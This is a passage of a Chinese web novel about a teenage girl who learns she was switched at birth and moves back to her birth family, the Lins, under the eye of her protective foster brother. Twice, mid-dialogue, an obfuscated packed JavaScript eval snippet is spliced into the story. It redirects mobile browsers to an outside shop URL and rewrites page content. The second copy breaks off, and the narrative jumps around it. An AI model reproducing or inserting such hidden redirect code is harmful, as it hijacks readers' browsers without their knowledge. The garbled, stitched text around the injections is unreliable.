他没想到，自己家偶然间资助的小女孩，竟然有可能是世交林家的孩子。 但转念一想，这对潇潇来说，倒也不是坏事。 “是。”林恒点了点头。 “你需要我们做什么？”顾执已经猜到了林恒来的目的。 林恒开门见山：“希望你们能给我一根林梓潇带毛囊的头发，我想先确定她的身份。” 顾执没有立刻回答，他捏了捏眉心。 顾清明也没有替他回答。 潇潇平时最依赖小执，小执也把潇潇当成亲妹妹，这件事由顾执来决定最为稳妥。 “可以，”顾执沉声道：“但是等结果出来后，我希望你们先不要告诉潇潇，也不要擅自打扰她，一切从长计议。” “当然。”林恒也很赞同这种处理方式。 那天聚餐见过林梓潇后，他就能感觉到这个孩子很有自己的主意，关于身世的事，不能这么贸然地告诉她，需得循序渐进。 而且顾家照顾林梓潇多年，林恒自然也是愿意听从顾家人建议的。 达成共识后，顾执起身，上楼走到林梓潇房间门口。 他不想私自进小姑娘的房间，发了条短信给她：【小宝，哥哥能去你房间里拿本书吗？】 林梓潇秒回：【可以呀，哥哥随便进(ì_í)】 顾执沉重的心情因为她可爱的回复轻盈了几分，他推开门。 房间很整洁，潇潇向来又洁癖又强迫症，所有东西都要摆放的整整齐齐，这两天宋诗总拉着她出门逛街购物，房间里的东西越来越多。 顾执走进浴室，从梳子上取下几根带有毛囊的头发，装进林恒交给他的密封袋。 * 林恒请司法机关的朋友帮忙加急，三天后终于有了结果。 检测报告显示，林梓潇确实是林恒和沈清仪的亲生女儿。 得知结果的顾清明和宋诗带着顾执赶到林家。 沈清仪一直躲在书房哭，一双漂亮的丹凤眼肿成了核桃。 宋诗自己也是母亲，她自然知道，出了这种事，最愧疚伤心的往往就是母亲。 宋诗坐到沈清仪身旁，伸手将她揽进怀里，低声安慰她。 林恒脸色也不好看，他毕竟是孩子的亲生父亲，如果孩子出生以后，他能再仔细一点，小心一点，说不定就不会发生这样的事。 林梓潇过往的经历他们都查了清楚，她那个养父根本不能称之为人，如果不是被顾家资助，恐怕今天见不见得到林梓潇都要另说。 现在回想起顾清明夫妻资助林梓潇的始末，竟是说不出的痛心。 潇潇当初被顾家选中资助，正是因为顾执好心把她从家暴的父亲手里救下来。 林恒抚着额头，脸色沉郁：“我去豫西镇医院调查过，两个孩子都信林，出生时间又过于接近，当年恐怕是因为医院护士的疏忽，才会把孩子放错了保温箱，而这个护士，去年也因为车祸去世了，家里只有两个老人。” 顾执毕竟早就知道了真相，他是几人中最淡定的：“既然已经查清楚了，我建议不要太急着告诉潇潇，她这些年吃的苦不少，防备心理强，你们可以先跟她接触接触，熟悉一下试试。” 顾家资助林梓潇多年，对她的宠爱都是真心的，尤其是林梓潇似乎格外依赖顾执，林恒自然也乐于听取他的建议。 “至于林蔚然那里，你们这几天可以慢慢告诉她真相，但是不要让她接触潇潇，毕竟这些年她也算替潇潇享福，难免有落差。” “……那就还是先让潇潇住在顾家吧，”林恒从抽屉里拿出一张银行卡，递给顾执：“这张卡里有十万，算是给潇潇的零花钱，小执你先说是我和清仪给的见面礼。” 顾执接下来。 林恒又拿出另一张卡给顾清明：“清明，小诗，这些年多谢你们照顾潇潇了。” 顾清明和宋诗向来拿林梓潇当亲女儿，资助金给的很多，这些年陆陆续续也有几十万，只是林梓潇很少花，大部分都还留在卡里。 顾清明推开林恒递过来的卡：“不管潇潇是谁家的女儿，她这个干女儿我们是认定了的，你可别想把潇潇抢走啊。” 林恒面色轻松了一瞬，也不再坚持，无奈地收回了卡。 那头林景然见顾家一家三口都来了，还和爸妈神神秘秘地躲进了书房，顿时好奇心爆发，鬼鬼祟祟地凑上去偷听。 奈何书房隔音实在好，他贴耳偷听了半天，也只听到几个模糊的字眼。 林蔚然见林景然撅着个大腚凑在书房门口，也好奇地走过去，小声问：“哥，你干什么呢？” 林景然被吓了一大跳，站直身子，心有余悸地抚着胸口：“你吓我一跳！” 林蔚然看了看紧锁的书房门：“你在偷听爸妈讲话吗？话说他们俩怎么一下午都呆在书房不出来。” 林景然指了指书房门，神神秘秘地说：“刚刚顾叔宋姨还有顾执哥都过来了，不知道在里面说些什么，我只听到什么‘照顾’‘女儿’之类的。” 林蔚然脸色僵了一瞬。 她很快又恢复自然，拉着林景然：“哎呀，哥，你别偷听了，等下爸爸出来看到你在门口偷听，肯定又要骂你！” 林景然猝不及防地被她拉得一个踉跄：“好好好我不听了。” 林景然跟着林蔚然一起下楼，突然想起什么似的：“哎对了，城郊是不是开了新游乐场来着，要不然我们叫上上次那个探花和顾执哥一起去玩啊，我最近在家都快无聊死了！” 林蔚然翻了个大白眼，数落他：“拜托，哥，现在是大热天哎，每天太阳都这么大，你是不怕晒，人家女孩子肯定怕晒黑啊。” 林景然若有所思：“也是……” “不过我可以勉为其难陪你去啦，但是！你要答应给我买我之前看中的那个包包！” 见林景然犹豫，林蔚然凑上去拽着他手臂撒娇：“好不好嘛哥哥好不好嘛，给我买嘛～” 林景然平时零花钱不少，初三学业重花得少，存下不少，再加上中考完还有奖励金，私人小金库还挺富足的。 经不住妹妹的撒娇，他只好点头答应道：“行行行买买买，买还不行吗？” * 顾执捏着林恒给他的那张卡，犹豫着要不要敲门。 门从里面打开，露出林梓潇笑靥如花的小脸：“哥哥，我都听到你的脚步声了，你在门口愣着干嘛？” 顾执没说话，只是微微笑了笑，示意林梓潇进去说话。 林梓潇乖乖跟在顾执身后，一起在沙发坐下。 顾执拿出林恒刚刚交给他的银行卡，放到林梓潇手里：“宝宝，林叔叔和沈阿姨特别喜欢你，上次见面匆忙，没来得及准备礼物，这是他们给你的见面礼，卡里有十万元，你拿着花。” 林梓潇：“……” 京城人见面随便就送人十万吗？ 顾执也觉得随手就给十万见面礼会让人难以理解，他也是抱着能让潇潇有所心理准备的想法，才答应把这张卡给潇潇。 以林梓潇的聪明，应该能猜到这其中或许有什么原因。 林梓潇现在的性格和小说里并不一样，她面对同学有成熟稳重的一面，面对他和顾家夫妻有着幼稚孩子气的一面，就连顾执也不知道她会做出什么样的反应。 出乎意料的是，林梓潇并没有多问，甚至连神色都没有什么变化，她把卡收进了抽屉，朝顾执笑：“那哥哥替我谢谢叔叔阿姨。” 顾执没想到林梓潇竟然连问都不问一句，欣然地接受了这笔钱。 他正愣神想着，林梓潇凑过来，轻轻拽了拽他的衣角：“哥哥，英语好难呀，而且我听说长京国际对学生的英语要求可高了。” 顾执回过神来，捏了捏她的脸蛋：“我们的小探花，英语能难倒你吗？” 林梓潇谄媚地朝他笑笑，露出脸颊上浅浅的小酒窝，脸上还带着些稚气未消的婴儿肥，看起来很可爱。 “一分钱难倒英雄汉呀，哥哥，你教我好不好。” “好，”顾执向来对她有求必应，“保证你开学英语考第一，好不好？” “谢谢哥哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578469|187211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，哥哥最好了。” 被林梓潇一插科打诨，顾执竟也忘了那银行卡的事，等教完她出去，这才想起来。 也不知道是不是基因遗传的缘故，林梓潇和林恒性子很像，一样谨慎多疑，以林梓潇的警觉，她不可能把那张卡当成单纯的见面礼，可偏偏她又什么都不问。 顾执无奈地摇了摇头，想必这丫头又在憋什么坏。 顾执想得没错，他一出门，林梓潇就给陈让打了电话。 不知那头的陈让说了些什么，她的面色一下沉了几分，丝毫不见与顾执相处时的乖巧无害。 * 不知是不是因为睡前给陈让拨了电话的缘故，林梓潇这一夜的梦境里竟然也都是陈让。 梦里的场景有些模糊不清，几天前才见过的好友，褪去了稚嫩的校服，换上一身挺括板正的黑色西装，胸前的口袋别着一支极其娇艳的红玫瑰，那是整个梦境里最鲜亮的色彩。 林梓潇仔细想看清，这才发现，梦里的陈让，早已不见少年时稚嫩的青涩，变得高大凌厉，一向漂亮的面孔笼罩着一层抹不去的阴翳。 他长高了很多，身高腿长，几步就踏进了葬礼现场。 “这位先生，”门口的保安拦着他，“请您出示邀请函。” 陈让双目血红，黯淡无光，他盯着保安冷笑：“滚。” 保安见他状态可怖，有些退却，硬着头皮道：“不能出示邀请函的话，您就不是今天的受邀宾客，不能进去。” “呵，不是受邀宾客……”陈让面色紧绷，目眦欲裂，似乎已经到了崩溃的边缘，“你去下面问问她啊，问问我是不是她最好的朋友，她邀不邀请我来？！” 保安被他这副几近癫狂的神色吓到，下意识往后退了退。 “滚开！”陈让一把挥开他，闯进了葬礼。 正在吊唁的宾客被突然闯进来的陈让吓到，纷纷退开。 陈让径直走到棺前，看到立在棺前的，死者的家人，情绪在一瞬间突然崩溃。 他随手攥起一旁的纸钱，劈头盖脸地洒在几人脸上：“滚，给我滚！！你们有什么资格站在她的面前，有什么资格为她送行！” 漫天的黄纸红字散去，林梓潇才看清那几人的脸。 是林恒、沈清仪、林景然和林蔚然。 林景然见他实在疯癫，想伸手去拉他：“陈让，你冷静一点……” “冷静？你叫我怎么冷静？！”陈让一把挥开他，拽着他的领子逼近自己：“你能把她还给我吗？你能吗？她才二十五岁！几天前她还好好地站在我面前，为什么现在躺在这里？你告诉我我要怎么冷静？！” 他说话颠三倒四，不知道从哪一句话开始，陈让的脸上早已泪水横流，一向风流倜傥的桃花眼，眼尾印上一抹疯狂的红。 他推开林景然，又猛地冲上前，想抓住林蔚然。 “你这个鸠占鹊巢的小偷，有什么资格站在这里？” 林蔚然被他拽住外套，惊慌失措地叫起来，匆忙后退。 林景然和林恒立刻上前制住已然发疯的陈让：“陈让你冷静，这些和蔚然没有关系。” 陈让揪着林恒的领带：“……没有关系？躺在那里的是你的亲女儿啊，你怎么说得出这种话？她那些年在豫西吃的苦还不够吗？林恺打她打到她昏迷住院的时候，是我送她去医院！” “你们怎么舍得……怎么舍得这样对她……” 林恒冷漠的样子让陈让彻底崩溃，他痛哭到失声，发泄过后，突然脱力跪地。 坠楼身亡的人死相不好看，她的脸上盖着一块白布，苍白得凋零飘渺，陈让不忍去看。 他失神地跪在地上，喃喃道：“……如果当年你没有回京城，没有回林家，一切是不是就会不一样？” 十七岁的时候，没人告诉他，出人头地这四个字，是用好友鲜红色的血写成的。 林梓潇猛地从梦中惊醒，浑身冒出一阵冷汗。 清醒之前，她看清楚了墙上挂着的黑白遗照。 比现在的自己更成熟，棱角清晰到嶙峋，目光淡然冷漠，绷直的唇角带着抹不掉的阴郁。 那是她。 父母兄长的冷漠，陈让的癫狂，一切都是这么的真实。 那木棺里消瘦熟悉的身形，似乎伸手就可以触碰到。 良久，林梓潇从溺水般的刺骨中挣扎出来，缓缓抬起头。 她额角布满了细密的冷汗，眼底都渗出了青黑，面容支离破碎，可与之憔悴相对的是那双坚定到冒着悠悠鬼火的双眸，燎原之势，令人胆战心惊。 如果来到京城的结局是死亡，她也不会退却半步。 前路渺茫，就以骨血作舟，破宿命之海。 20. 第二十章 林梓潇抬眸看了看信箱上的门牌，又看了看手上的便签纸。 确认了门牌没错，她正准备抬脚进去，就看见一对年轻的男女从里面打打闹闹地走了出来。 “你这包里装了什么东西这么重？你放哑铃进去了啊！”男生身上单肩背着一只浅蓝色的波士顿包，显然是替一旁的女孩背的。 “什么呀！”女孩作势打他，“阳伞，防晒，纸巾，相机，唇膏，手机，钱包，就这些而已啊！” “我去，这么多东西，难怪这么重！” 林蔚然和林景然正准备去游乐园玩，正说笑着，就看到站在门前的林梓潇。 林景然好奇地走过去，问她：“哎，你不是那个小探花嘛？一大清早来我家干嘛呀？” 林梓潇淡淡地瞥了他一眼，没有回答他的问题，反而问道：“你爸妈在家吗？” 林景然因为她略显冷淡的态度愣了愣，片刻后才答道：“……在啊，你找他们啊？” 没记错的话，那天吃饭的时候，这探花郎好像还挺乖巧礼貌的吧……？ 林蔚然跟在林景然身后，好奇道：“你怎么一个人过来了呀，要是想见我爸妈的话，可以让顾叔叔联系呀。” 林梓潇好像没听到她说话似的，自顾自地推开庭院的小门，走了进去。 这副目中无人的样子彻底惹怒了林景然，他指着林梓潇的背影：“哎！你有没有礼貌啊！” 林梓潇还是没理他，径直走到大门口，按了按门铃。 林景然怒火中烧，正要冲上去跟她理论，就被身旁的林蔚然拉住：“哥，算了算了，她可能有急事找爸妈吧。” “她能有什么急事！”林景然气哼哼的，“来我们家拜访，无视我们是什么意思！” “别生气啦，之前宋姨不是就说过吗，她妈妈很早就离开了，爸爸前几年也去坐牢了，多惨呐，哥你多包涵一下呗，”林蔚然拉拉他的袖子，“走啦，我们去玩吧，再不走太阳就大了。” 林景然一边被林蔚然拽着走，一边嘴上还不忘吐槽林梓潇：“上次吃饭不是还挺知书达理的吗？哼，都是演给大人看的。” 林家兄妹坐上车走后不久，林家的佣人就来开了门。 看到门口的林梓潇，保姆愣了愣：“是少爷小姐的同学吗？他们俩刚出门，不在家。” 林梓潇摇摇头：“我来找林恒先生。” “啊……哦，那先请进。”保姆没想到这个年轻小姑娘竟然是来找林恒的，只好先把她请进去。 林恒正坐在餐桌前用早餐，他视线落在手里的报纸，问道：“谁来了？” 保姆犹豫道：“先生……这个小姑娘说找你。” 林恒疑惑地抬眼，看到玄关处笔直站着的小姑娘，微微愣了神。 林梓潇身形挺拔如青松翠柏，略显稚嫩的面孔上带着不符合年纪的淡然和冷漠。 林恒看到她，就好像看到了年轻时的自己。 “梓潇……？你怎么来了？”林恒难得慌乱，放下手里的报纸起身，“呃，程姨，你先回房吧。” 被叫做程姨的保姆很有眼色的迅速离开，只留林恒和林梓潇待在餐厅。 林恒以为她是来还卡的，忙说道：“那张卡是叔叔阿姨给你的……” “我是来跟您讨论关于我身世的事。”林梓潇打断他。 “……什么？”林恒瞳孔骤缩。 林梓潇开门见山：“那次聚餐后，不止是您，我也对自己身世的事有所怀疑，前几天，我拜托自己在豫西镇的朋友关注医院那里的情况，他告诉我，有人在调查十五年前我出生时的事，想必那就是您派去的人吧。” 林恒认真打量起了眼前这个看起来还有些稚嫩的女孩。 他点点头：“是。” “本来我并不敢完全确定，但昨天您拜托哥哥给我送了卡，看来是已经有了确切的DNA检测结论。” 林恒看她的眼神里逐渐带上了欣赏。 林梓潇明明已经对自己的身世产生了怀疑，但却不一味急着调查真相，因为她知道，自己一定会做得比她更快更便捷，所以她只需要在事情的下一个环节守株待兔，也就是医院。 她年纪轻轻，在豫西镇就已经有了能掌握医院信息的人脉，心思缜密，思维逻辑也不输成年人，林梓潇从小接受的教育资源有限，成绩却能远超蔚然景然这些享有得天独厚教育资源的孩子，可见未来不可限量。 既然事情都已经到了这一步，也没必要再藏着掖着，林恒坦诚道：“是的，我已经得到了准确的DNA检测报告，梓潇，你是我和清仪的亲生女儿，而蔚然，才是林恺和杨慧芳的女儿，当年清仪在豫西镇度假时意外提前了预产期，她和你的养母生产时间过于接近，因为管理上的疏漏，才让你和蔚然被错换了。” 即便林梓潇早就猜到了事情的真相，可当她亲耳听到这些的时候，眼神还是不免微微闪烁了一瞬。 林恒看着她。 梓潇的眉眼之间很像清仪，娇美艳丽，但鼻、唇和整体的轮廓却更像他，她鼻梁英挺，带着一个小驼峰，从侧面看，骨骼清晰，骨相高贵，有着天生的清冷和坚毅，但她毕竟年纪小，漂亮的凤眼还有点圆圆的，脸颊两边带着稚气的软肉，有一点少女的娇憨。 看着她与自己相似的面容，林恒不由得流露出少见的温情，他放下了自己严肃冷峻的面孔，柔声问道：“潇潇，你愿不愿意，回到爸爸妈妈身边？” 林梓潇：“……” 听到这句话，林梓潇多年来紧绷的神经好像顷刻间倒塌，她毫无征兆地落下泪来了出来，再也不见刚才的镇定自若。 她本来的计划是霸气高傲地和林恒谈判，然后潇洒的离开，可是林梓潇突然发现，自己其实没有想象中那么强大，也并没有那么淡然。 即使梦里父母的神色都这样冷淡，可她这瞬间还是不由得贪恋了林恺指缝流露出的一丝亲情。 林恒走到她面前，小心翼翼地抱住她，好像生怕惊动了什么，他轻轻地拍着林梓潇的背，无声地安抚她。 林恒身上有淡淡的须后水的味道，有点冷冽的清爽，和林恺一点也不一样，没有烟味、没有酒味、没有潮湿的、阴沉沉的味道。 林梓潇想，她儿时曾幻想过的爸爸的味道，也许就是这样。 * 等林梓潇完全平复了下来，又被刚下楼的沈清仪拉着哭了一场。 沈清仪昨天哭了一整晚，眼睛已经肿成了核桃，她的拥抱比林恒要热烈得多，像是恨不得把林梓潇嵌进怀里。 林梓潇被她抱得动弹不得，手足无措地僵在原地。 林恒见林梓潇有些不自在，无奈地把她身上的沈清仪拉下来：“好了，别吓着潇潇。” 沈清仪擦了擦眼泪，牵着她的手啜泣：“对不起啊潇潇，妈妈看到你太激动了。” 林梓潇并不适应这样亲昵，她看着沈清仪牵着自己的手，有些出神。 “潇潇，”林恒唤她：“你是怎么想的呢？爸爸尊重你的想法，顾执和我说，你从小就很独立，今天来找我们，应该是已经想好了对吗。” 林梓潇沉吟片刻，说：“我想先听听你们的想法。” 林恒确实也不是什么优柔寡断的人，知道林梓潇是自己亲女儿的时候，他就已经想过处理方式了。 “爸爸当然是希望你能回到我们身边，一家人在一起，至于蔚然，林恺现在还在监狱里，让她回到原来的家庭，不太现实，可以让她住到学校，我们继续资助她上学，直到她能独立生活。” 林蔚然是他们养了十多年的女儿，林恒对她当然不可能没感情，但现在受委屈的是他们的亲女儿潇潇，看着占据自己人生的人一直在眼前晃悠，潇潇不一定会好受。 闻言，沈清仪又哭了起来。 林家和顾家不一样，一向是男主外女主内，林恒工作忙，对孩子的事不可能事事亲为，沈清仪毕竟养了林蔚然这么多年，想到要把她送走，顿时悲从中来。 沈清仪虽然舍不得林蔚然，但也不是不明事理，林恒的做法已经是最两全其美的了。 林梓潇看着沈清仪低头轻啜的样子，默了默。 半晌，她说道：“……让林蔚然继续待在林家吧，我没关系。” 沈清仪眼睛一亮，激动地拉着林梓潇的手：“真的吗潇潇？！你不用为了爸妈委屈自己！” 话是这么说…… 但沈清仪那欣喜的模样，显然是极想让林蔚然留下的。 林梓潇神色平静：“嗯。” 听林梓潇的意思，就是愿意回到林家了，沈清仪立刻表示，马上去准备她的房间。 沈清仪一抹眼泪，风风火火的：“对了潇潇，我们要办一个认亲宴吧，一个月后怎么样，正式把你介绍给大家认识。” 林梓潇垂着眸子：“不用了，我暂时不想让太多人知道……你们还是想想怎么告诉林蔚然和林景然吧。” 林恒虽然有些惊讶，但还是决定尊重林梓潇的意思：“好，那就不办认亲宴。” 林梓潇起身告辞：“叔……呃，那个，我先回去了，你们处理好了再来接我。” 林梓潇显然是还不怎么习惯拥有父母，她有些不自在。 林恒也不急于这一时，他起身去送林梓潇。 * 直到林恒亲自把林梓潇送回了顾家，顾执这才知道，这小丫头已经自己去把事情处理了。 他果然还是低估了潇潇的警觉和能力。 但让他更惊讶的是，这一次，林梓潇竟然自己提出要回林家，这让他简直摸不透小丫头在想些什么。 明明在上一世看见十七岁的她时，林梓潇是显然抗拒回到林家的。 林梓潇眨着自己漂亮的凤眼，忽闪忽闪地看着顾执。 顾执深深地叹了口气，摸了摸她的头发。 林梓潇不再像时光回溯前那样，留着半长不短，好打理的齐肩发，她有一头很漂亮的乌黑的长发，这两天宋诗总是拉着她做各种各样的项目，头发软软的很柔顺，摸起来像一只被养的很好的金毛狗狗。 顾执不知道自己为什么会突然想到这样的比喻，忍不住勾唇笑了笑。 林梓潇见顾执没有要生气的意思，便大着胆子蹭进他怀里：“哥哥，你不怪我没有告诉你吧？” “我有什么立场好怪你呢，”顾执故意不阴不阳地说：“小宝已经有亲哥哥了，不需要哥哥了，是不是？” “没有！”林梓潇立刻把他抱得更紧了一些，焦急得要跳脚：“才没有！那个林什么然才不是我的哥哥，我只要哥哥一个！” 林梓潇急得直哼哼，差点要哭，声音都抖了：“……哥哥你是不是生我气了。” 顾执见一句话就要把小姑娘惹哭了，连忙不逗人了，拍了拍林梓潇的背，安抚道：“好了好了，小哭包，都多大了还动不动就哭唧唧的，哥哥没生气。” 林梓潇哼了一声，老大不高兴地埋在顾执怀里。 顾执伸手推开她：“潇潇，不准得寸进尺，哥哥是不是说过长大后不能总是搂搂抱抱？” 林梓潇不高兴地瘪着嘴：“……哦。” “好了，现在能不能告诉哥哥，为什么会想要自己去林家处理这些事？” 虽然已经过去了很多年，但顾执依然记得，第一次见到十七岁的林梓潇时，她非常抗拒身世的真相，也不想回到京城。 而现在，林梓潇似乎一点也不抗拒回到林家，甚至主动去和林恒交涉。 是什么让潇潇变了这么多？ 林梓潇定定地看着顾执。 十七岁的顾执，相貌已经非常清俊了，他的眉眼深邃挺阔，眉为山川，眼为海湖，总是沉静又坚定，发丝随意地垂落在眉眼之间，让人有些心痒。 小时候，顾执会给她读童话故事，林梓潇总是觉得，那些童话里的王子应该就长成这副模样。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她最害怕的事，还是发生了。 林景然瞪大眼睛，突然跳起来，大叫道：“爸妈，今天不是愚人节，你们别开玩笑了！” 林恒冷冷地看着他，声音冷冽：“林景然，你觉得我像开玩笑吗？” 林景然迎着林恒冰冷如霜的眼神，立刻怂了怂。 他拿起桌上那两份报告，不断翻看，嘴里嘟囔着：“怎么会这么狗血，怎么可能……” 那个目中无人的丫头，竟然是他的亲妹妹？！ 林蔚然的脸上不知何时已经布满了泪痕，她泪流满面，泣不成声。 沈清仪极为不忍，把林景然挤到一边，抱着她安慰道：“没事蔚然，我们问了潇潇，她希望你还是留在家里，以后你还是爸妈的孩子，只不过多了个姐姐而已，不哭不哭啊。” 林景然反应过来，跑过去坐到沙发扶手上，搂着哭泣的林蔚然：“没错蔚然，不管你是不是亲生的，你永远都是我最爱的妹妹，那个林梓潇……我才不认她呢！” 林恒面色一凛，抄起桌上的检测报告，精准地往林景然的脑袋上砸。 林景然吃痛捂头，扭头就看到他爸的脸色难看到了极点。 林恒指着林景然的鼻子，骂道：“林景然我警告你，没人管你认不认，潇潇是我的女儿，她已经吃够苦头了，你要是敢让她在家里再吃苦头，你就先滚出去！” 林景然下意识缩了缩头。 林家慈母严父，林恒在家里向来严厉、说一不二，林景然最怕的就是他这个爹，当即抱着脑袋不敢说话了。 林蔚然扯了扯林景然的衣角，泪眼朦胧地抬起头，抽噎着对林恒说：“哥哥都是为了安慰我，一时口不择言，对不起爸爸，等姐姐来了，我们肯定会好好照顾她的。” 林恒面色稍霁，朝林蔚然扯了扯嘴角，安抚道：“嗯，以后你们姐妹三个要好好相处，蔚然，那两份是你亲生父母的资料，如果你想，可以拿回去看一看。” 林蔚然瞥了一眼桌上放着的两份材料，眼泪又不自禁流了出来。 林梓潇妈妈在她六岁时就抛下她走了，爸爸是个家暴狂，赌徒，酒鬼，这些事宋诗早就透露过。 没有人想要这样的父母。 沈清仪见林蔚然哭得不能自已，立刻把那两叠资料扔得远远的，她紧紧抱着林蔚然，安慰道：“那种父母，哪有什么看的必要，蔚然，你用不着拿他们当父母，你的爸爸妈妈只有我们，知道吗？” 沈清仪一向溺爱子女，林恒摇了摇头，心里并不赞同。 不管怎么样，这也是林蔚然的亲生父母，何况林梓潇代她吃了这么多年苦头，她多少也该了解一些。 见林蔚然和沈清仪哭得伤心，林恒虽不赞同，但也没有再说什么，转身离开了客厅。 怕这件事对林蔚然打击太大，沈清仪和林景然安慰了林蔚然很久，沈清仪更是守着她洗了澡，又哄着小女儿睡着，这才回房去。 林蔚然是林家的小女儿，向来集万千宠爱于一身，她的房间是整个林家别墅采光最好的，整个公主房都铺满了意大利手工制作的地毯，温馨又舒适。 因为小的时候喜欢芭比娃娃，沈清仪买了一屋子的芭比梦想豪宅，给她开拓出一整间的玩具房。 即使她已经渐渐长大，不再需要这些幼稚的玩具，沈清仪依然会买来最新款的芭比玩具，扔掉那些已经过时的系列，把玩具房布置得满满当当。 月光透过窗纱，洒在林蔚然哭得微微红肿的杏眼上。 早该被母亲哄睡着的她，却缓缓睁开了眼睛。 林蔚然深深地看了一眼与卧室相连的玩具房。 她重新回到客厅，拾起那份被沈清仪扔到角落的资料。 她缓缓翻开，借着月光读起来。 林恒显然是抱着让她了解林梓潇所受痛苦的心思，这里面很详细地记录了林梓潇和父母的过往。 林蔚然捏紧了手中的纸，直到皱痕蔓延到字迹模糊不清。 21. 第二十一章 很快就到了林家来接走林梓潇的日子。 顾执放心不下，事无巨细地给她收拾行李。刚买的衣服要带，定制的礼服要带，必要的护肤品化妆品要带，喜欢的小说要带，游戏要带玩偶也要带，收拾到最后，顾执发现竟然有足足六七大箱。 就连宋诗看到都被这规模吓到，无语地看着顾执：“我说小执，林家离我们家就几步路，你有必要把这些全搬去吗？” 顾执看着眼前巨大的纸箱，也有些沉默。 他突然想起，从前他去英国研学的时候，母亲好像就是这样给他收了整整三个28寸行李箱，明明只去两个月，明明伦敦什么都买得到，但她好像总担心别人准备的没有自己尽心。 顾执反应过来，自己就像个担心孩子远行的老父亲，有些无奈地抚了抚额。 “算了，反正潇潇是你管的，你说要带就带吧。”宋诗耸了耸肩，转身走了。 可能是因为小时候救了妹妹的缘故，这些年来顾执一直把妹妹当女儿一样照顾，潇潇的事情都是顾执着手办的，宋诗和顾清明也插不上手，只好随顾执去了。 林梓潇乖乖蹲在纸箱前，翻了翻里面放着的东西，无辜地抬头看向顾执：“哥哥，你是要把房间都搬走吗？” 顾执像摸小狗一样摸摸她的头：“房间给你留着，没事就回来住两天，哥哥只是担心林家准备的不够齐全而已。” 林梓潇蹭他的手心：“不用带这么多啦，房间都空了，我缺什么再回来拿就好了。” 顾执：“……嗯。” * 林家的车很快来了，林恒亲自开的车，顾执也跟着一起把潇潇送到了林家。 林蔚然林景然两兄妹和沈清仪一起站在门口欢迎。 顾执把后备箱里的行李拎出来，牵着林梓潇去跟沈清仪打招呼。 “沈姨，潇潇以后就拜托您了，她喜甜，吃不了辣，不吃葱，芒果过敏，您多担待着点。” 顾执一手牵着林梓潇，一手拎着行李，比林家夫妻还像林梓潇的家长。 “啊肯定的肯定的，小执你放心好了！” 沈清仪知道顾执一向很照顾自己那个干妹妹，但没想到他贴心到这个份上，总感觉自己像是娶儿媳的婆家人，顾执像是新娘子娘家的妈妈，莫名有些紧张。 叮嘱完沈清仪，顾执转身虚虚抱了抱林梓潇，嘱咐道：“你呢，学习不要太过于用功了，记得劳逸结合，开开心心的，有事给哥哥打电话，知道吗？” 林梓潇撒娇一样拉着他的衣角，俏皮道：“那没事能不能打？” 顾执无奈地笑着，戳了戳她的额角，转头朝林恒和沈清仪道别：“林叔，沈姨，那我就先走了，回头见。” 沈清仪赶紧挥手跟他告别：“小执再见，有空来玩啊！” 看到顾执走远，沈清仪这才松了口气。 站在母亲身后的林蔚然，若有所思地歪头看着顾执的背影。 林顾两家交好多年，她和顾执又年纪相仿，常常被周围长辈打趣成金童玉女，小时候，还总是拿娃娃亲逗他们。 明明应该是青梅竹马，两小无猜的关系，即使当不成爱侣，多少也该有点兄妹之情。 可不知道为什么，顾执却总是对她保持着不远不近的距离，礼貌、绅士、温和，又透着淡淡的疏离。 顾执身边确实也没有什么亲近的异性，所以林蔚然一直当是顾执性格如此。 可他对林梓潇，却完全不一样，关怀备至，心细如发，他对她，没有丝毫的距离感，仿佛全身上下每一个细胞都在诉说着亲昵。 林蔚然敛起自己的神色，上前一步，想接过放在门口的行李。 然而一只指骨分明的手先她一步，覆住了行李的把手，轻描淡写地掠过她。 林梓潇眼神甚至没有落在她身上，她径直走进了别墅。 家里的佣人想帮林梓潇帮行李拿上去，也被她轻轻挡开。 女孩额角的头发微微盖住眉眼，神情有些淡淡的：“不用了，这个我自己拿。” 林景然跟在她身后，替她拎着行李，看到这一幕，有些不屑地撇了撇嘴。 怕被爸妈听到，他压低了声音跟林蔚然吐槽：“顾执哥在的时候就这么乖巧，顾执哥一走就原形毕露，装货！” 林恒进来就看到林景然跟妹妹嘀嘀咕咕的说着什么，在他背后严厉道：“林景然，说什么呢？还不快把东西搬上去？” 林景然虎躯一震，唯唯诺诺地提着行李上楼。 * 林梓潇跟着沈清仪进到自己的新房间，平静地环顾四周。 房间以粉紫色调为主，家具也多为华丽的欧系风格，整个房间都充满了甜腻的气息。 “潇潇，你看看，有什么不喜欢的，告诉妈妈，妈妈再帮你改。”沈清仪期待地看着林梓潇。 沈清仪长着和林梓潇十分肖像的眉眼，但给人的感觉又完全不同，她的眼睛亮晶晶的，琥珀色的眸子流光溢彩，很像童话绘本里的小鹿，明明已经是两个孩子的母亲了，但眼里却没有沾染上一点世俗气息。 林梓潇默了默，说：“谢谢，我很喜欢。” 她下意识没有说出自己并不喜欢粉色。 六岁的时候，她曾经很喜欢橱柜里的粉色蓬蓬裙，杨慧芳在她生日那天，拿出大半积蓄给她买了那条裙子。 那天，林恺难得正常，夫妻俩做了一顿比平常丰盛许多的晚餐，为她庆祝生日。 可就在知道那条裙子的价格时，林恺突然疯了一样暴起，把装着饭菜的盘子劈头盖脸砸到杨慧芳头上，尤不解气，又将酒瓶子也一并砸过去。 后来，那条粉色裙子上的斑驳血迹变成了深褐色，林梓潇再也不喜欢粉色了。 “喜欢就好，跟妈妈不用说谢谢。”沈清仪摸摸她的头，身上浮动着清淡的花香味，笼罩过来，打断了那段并不美好的回忆。 “那潇潇你先收拾吧，一会吃饭妈妈再叫你。” 